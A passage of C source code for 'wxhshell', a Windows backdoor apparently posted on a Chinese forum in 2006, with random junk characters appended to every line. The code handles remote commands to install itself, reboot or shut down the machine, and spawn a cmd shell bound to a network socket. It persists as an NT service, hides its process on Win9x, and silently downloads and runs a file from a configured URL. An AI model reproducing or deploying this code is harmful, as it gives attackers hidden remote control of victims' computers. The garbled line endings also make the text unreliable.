      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j&A9 &+w  
    break; Fv/{)H<:y  
  } (qc <'$o  
  // 安装 a>8] +@  
  case 'i': { d^IX(y*$  
    if(Install()) v\!Cq+lFML  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Edh9=sxL  
    else {nA+-=T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j/T@-7^0  
    break; T=V{3v@zs  
    } $[cB6  
  // 卸载 UDcr5u eKn  
  case 'r': { IWN18aaL?  
    if(Uninstall()) Gk58VODo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VOATza`  
    else ]NWcd~"b!Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KU+u.J  
    break; l&] %APL  
    } R"t2=3K  
  // 显示 wxhshell 所在路径 +ZE"pA^C  
  case 'p': { y\iECdPU  
    char svExeFile[MAX_PATH]; u5U^}<}y}  
    strcpy(svExeFile,"\n\r"); d@Bd*iI<  
      strcat(svExeFile,ExeFile); \Z%_dT}  
        send(wsh,svExeFile,strlen(svExeFile),0); }Sh@.3*  
    break; !VG ]~lc  
    } xQ?$H?5B<  
  // 重启 qIzv|Nte  
  case 'b': { eK3d_bF+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bccf4EyQ Y  
    if(Boot(REBOOT)) c(3idO*R)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2"Unk\Y  
    else { jgpF+V-n$  
    closesocket(wsh); V*%><r  
    ExitThread(0); 1)N#  
    } LG("<CU  
    break; vPy."/[u  
    } yMgS0  
  // 关机 \!>qtFT  
  case 'd': { ee Bw\f0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ix=(f0|  
    if(Boot(SHUTDOWN)) !]7L9TGn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3dtL[aVwY  
    else { @WKJ7pt`'N  
    closesocket(wsh); 3<a|_(K  
    ExitThread(0); fx^yC.$2  
    } l0',B*og  
    break; 6@(o8i   
    } +'[*ikxD=g  
  // 获取shell OCqknA  
  case 's': { 5HAAaI  
    CmdShell(wsh); /b4>0DXT5  
    closesocket(wsh); -"N vu  
    ExitThread(0); X1u\si%.4S  
    break; \4OU+$m  
  } h2+"e# _  
  // 退出 H}usL)0&&  
  case 'x': { e5n"(s"G*[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +rrA>~  
    CloseIt(wsh); {FN4BC`3+  
    break; [NGq$5  
    } jR3mV  
  // 离开 NPE 4@c_a@  
  case 'q': { \)g}   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RM25]hx  
    closesocket(wsh); =G 'c%  
    WSACleanup(); ;Q5o38(  
    exit(1); 6k|f]BCL  
    break; _(@V f=t  
        } ZU 7u>  
  } xWWVU}fd1  
  } T+5H2]yy)  
ronZa0  
  // 提示信息 E.x<J.[Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `P;3,@ e  
} =$kSn\L,  
  } IJZx$8&A  
ZtI@$ An  
  return; ^NxKA'oWQ  
} fzjtaH?  
7zNfq.Ni~  
// shell模块句柄 r8_MIGM'  
int CmdShell(SOCKET sock) l>7?B2^<E  
{ P$/Y9o  
STARTUPINFO si; \&v)#w  
ZeroMemory(&si,sizeof(si)); f_.0 uM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #Y'ub 5s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d&DQ8Gm ^  
PROCESS_INFORMATION ProcessInfo; Hv =7+O$  
char cmdline[]="cmd"; #J$z0%P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |A)a ='Ap  
  return 0; ~\O,#j`_  
} HNX/#?3  
[hiV #  
// 自身启动模式 3HndE~_C&  
int StartFromService(void) lp1GK/!s  
{ wr6(C:  
typedef struct WsmP]i^Q  
{ 8/|1FI  
  DWORD ExitStatus; 7z+Ngt' !  
  DWORD PebBaseAddress; 4_ZHY?VRd  
  DWORD AffinityMask; T'14OU2N{Y  
  DWORD BasePriority; 5%fR9?)  
  ULONG UniqueProcessId; "(;t`,F  
  ULONG InheritedFromUniqueProcessId; ;Z&w"oSJ  
}   PROCESS_BASIC_INFORMATION; j|r$ ! gV  
'81WogH:  
PROCNTQSIP NtQueryInformationProcess; OV7SLf  
n*eqM2L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x{ VUl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2cv=7!K4Uv  
R+=Xr<`%U|  
  HANDLE             hProcess; `S]DHxS  
  PROCESS_BASIC_INFORMATION pbi; B!1L W4^  
vPu {xy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M9(Kxux#  
  if(NULL == hInst ) return 0; _&$nJu  
+Jq~39  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zj;Ktgc E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,Mu"r!MK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]ex2c{ G  
tj" EUqKQ  
  if (!NtQueryInformationProcess) return 0; arn7<w0  
o{MmW~/o&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -$f$z(h  
  if(!hProcess) return 0; G>+iisb%  
 11-?M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !4+@b s  
w `>g^_xsg  
  CloseHandle(hProcess); S\A9r!2  
JjBlje  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =K6{AmG$  
if(hProcess==NULL) return 0; ,@@FAL  
%uy?@e  
HMODULE hMod; fSm|anuKZe  
char procName[255]; ia%U;M  
unsigned long cbNeeded; b5UIX Kim  
]nx5E_j2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DcNwtts  
wB%;O`Oh  
  CloseHandle(hProcess); ;-{'d8  
{pk&dB _Bu  
if(strstr(procName,"services")) return 1; // 以服务启动 22v= A6 =  
HVM(LHm=:  
  return 0; // 注册表启动 NYF 7Ep; _  
} O['5/:-  
'X1/tB8*  
// 主模块 qyY]: (8  
int StartWxhshell(LPSTR lpCmdLine) Q|W~6  
{ /cZ-+cu  
  SOCKET wsl; Wg=4`&F^  
BOOL val=TRUE; 0/b3]{skK  
  int port=0; qf B!)Y  
  struct sockaddr_in door; Vg1MA  
K]Z];C#)  
  if(wscfg.ws_autoins) Install(); MVe4[<  
\yA*)X+  
port=atoi(lpCmdLine); SQI =D8  
{'q(a4  
if(port<=0) port=wscfg.ws_port; -ob1_0  
JA6#qlylL  
  WSADATA data; t;)`+K#1:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,gn**E  
1H7 bPl|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   690;\O '  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :3By7BZgj  
  door.sin_family = AF_INET; K}Rq<z W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iVf8M$!m  
  door.sin_port = htons(port); 9':MD0P/M  
#~;:i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4[f>kY%[  
closesocket(wsl); +dF/$+t  
return 1; G297)MFF  
} C_V5.6T!  
5,K*IH  
  if(listen(wsl,2) == INVALID_SOCKET) { xSZ+6R|  
closesocket(wsl); ?H(']3X5@  
return 1; =s h]H$  
} ?89 _2W  
  Wxhshell(wsl); :P2 0g](  
  WSACleanup(); Mp`i@pm+  
[[vbw)u  
return 0; fk?(mxx"  
!1Z rS  
} 5s=L5]]r_j  
s %S; 9 T  
// 以NT服务方式启动 'jd fUB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C;oT0(  
{ 'n4 iW  
DWORD   status = 0; g.eMGwonTJ  
  DWORD   specificError = 0xfffffff; qZDP-  
dp#'~[j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Lsz)\yIPj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J nf@u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8z'_dfP=5  
  serviceStatus.dwWin32ExitCode     = 0; Ox}a\B8  
  serviceStatus.dwServiceSpecificExitCode = 0; J={IGA  
  serviceStatus.dwCheckPoint       = 0; l*>, :y  
  serviceStatus.dwWaitHint       = 0; SOo}}a0  
{N 0i 3e s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Vh5Z'4N  
  if (hServiceStatusHandle==0) return; 2f7]= snCG  
z Ud{9B$  
status = GetLastError(); z Feo8S  
  if (status!=NO_ERROR) uUI@!)@2  
{ PvqG5-L~W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; " )/febBS  
    serviceStatus.dwCheckPoint       = 0; kJG0X%+w  
    serviceStatus.dwWaitHint       = 0; 0N4+6k|  
    serviceStatus.dwWin32ExitCode     = status; m<| *  
    serviceStatus.dwServiceSpecificExitCode = specificError; y?yWM8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @DA.$zn&  
    return; KPMId`kf  
  } cuo'V*nWQ  
'AJlkLqm#>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .z&,d&E  
  serviceStatus.dwCheckPoint       = 0; <B3$ODGJp  
  serviceStatus.dwWaitHint       = 0; ?9m@ S#@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vrx3%_NkQ  
} 2g:V_%  
)6 [d'2  
// 处理NT服务事件,比如:启动、停止 #a=~a=c(^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v* /}s :a  
{ `%A>{A"  
switch(fdwControl) {/PiX1mn  
{ e95@4f^K2  
case SERVICE_CONTROL_STOP: Ob>M]udn  
  serviceStatus.dwWin32ExitCode = 0; 23~KzC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %SlF7$  
  serviceStatus.dwCheckPoint   = 0; B_#U|10et  
  serviceStatus.dwWaitHint     = 0; c6f[^Q%#j  
  { 'r_NA!R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]9/{  
  } a>XlkkX  
  return; $3Srr*  
case SERVICE_CONTROL_PAUSE: qJf=f3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :Vl2\H=P  
  break; ;Alw`'  
case SERVICE_CONTROL_CONTINUE: EwH_k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7z^\}&  
  break; t~@~XI5  
case SERVICE_CONTROL_INTERROGATE: w*7BiZ{s<  
  break; 0) T`&u3!  
}; Ed=]RR 4R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 25CO_  
} F9 q9BH  
F1UTj "<e  
// 标准应用程序主函数 #> @~3kGg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b Q6<R4  
{ dyMj=e  
[  bB   
// 获取操作系统版本 Dhy@!EOS  
OsIsNt=GetOsVer(); vgvJ6$#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rLzN #Zoi  
xD3Y-d9  
  // 从命令行安装 pz]#/Ry?  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zbobi,  
ppu WcGo  
  // 下载执行文件 8*t8F\U#  
if(wscfg.ws_downexe) { FqpUw<]6s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #Kd^t =k  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^ H )nQ  
} p!]$!qHO (  
HHU0Nku@ho  
if(!OsIsNt) { Q1?09  
// 如果时win9x,隐藏进程并且设置为注册表启动 s GdlS&08(  
HideProc(); KaGG4?=V  
StartWxhshell(lpCmdLine); \6z_ ;  
} fF*{\  
else 6I`Lszs  
  if(StartFromService()) leSR2os  
  // 以服务方式启动 {D9m>B3"{  
  StartServiceCtrlDispatcher(DispatchTable); C/L+gU&  
else 7xr@$-U  
  // 普通方式启动 Hp!c\z;  
  StartWxhshell(lpCmdLine); N akSIGm  
FJl_2  
return 0; }u aRS9d  
}
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只看该作者 1 发表于: 2006-10-10
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